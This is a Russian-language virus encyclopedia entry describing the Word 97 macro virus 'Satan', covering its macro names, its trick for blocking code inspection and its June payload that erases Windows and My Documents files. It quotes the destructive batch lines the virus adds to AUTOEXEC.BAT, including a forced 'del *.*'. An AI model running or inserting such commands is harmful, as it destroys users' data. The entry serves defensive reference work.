Энциклопедия компьютерных вирусов
Macro.Word97.Satan
Cодержит 14 макросов в модуле "Satan666": Satan666, FileOpen, FileClose, FileSaveAs, FileSave, FileNew, AutoExec, AutoNew, AutoSave, AutoClose, AutoOpen, ToolsOptions, ViewVBCode, ToolsMacro. Заражение системы и документов происходит при запуске любого из макросов. Просмотр кода вируса (макросы ViewVBCode и ToolsMacro) возможен только если первая строка в файле C:\AUTOEXEC.BAT содержит текст:
REM Hail Satan!
Иначе вирус блокирует работу этих пунктов меню и выводит MessageBox:
Microsoft Visual Basic Sub or Function not defined
В июне вирус стирает файлы и каталоги:
c:\windows\*.* c:\windows\system\*.* c:\My Documents
После чего добавляет в файл C:\AUTOEXEC.BAT строки:
@echo off cls echo Hail Satan! echo Hail Satan! echo Hail Satan! echo Hail Satan! echo Hail Satan! echo Hail Satan! echo Hail Satan! echo Hail Satan! echo Y>Yes attrib -h -r -s del *.* <Yes end
Затем выдает MessageBox:
Satan666 Word97 Virus Hail Satan!
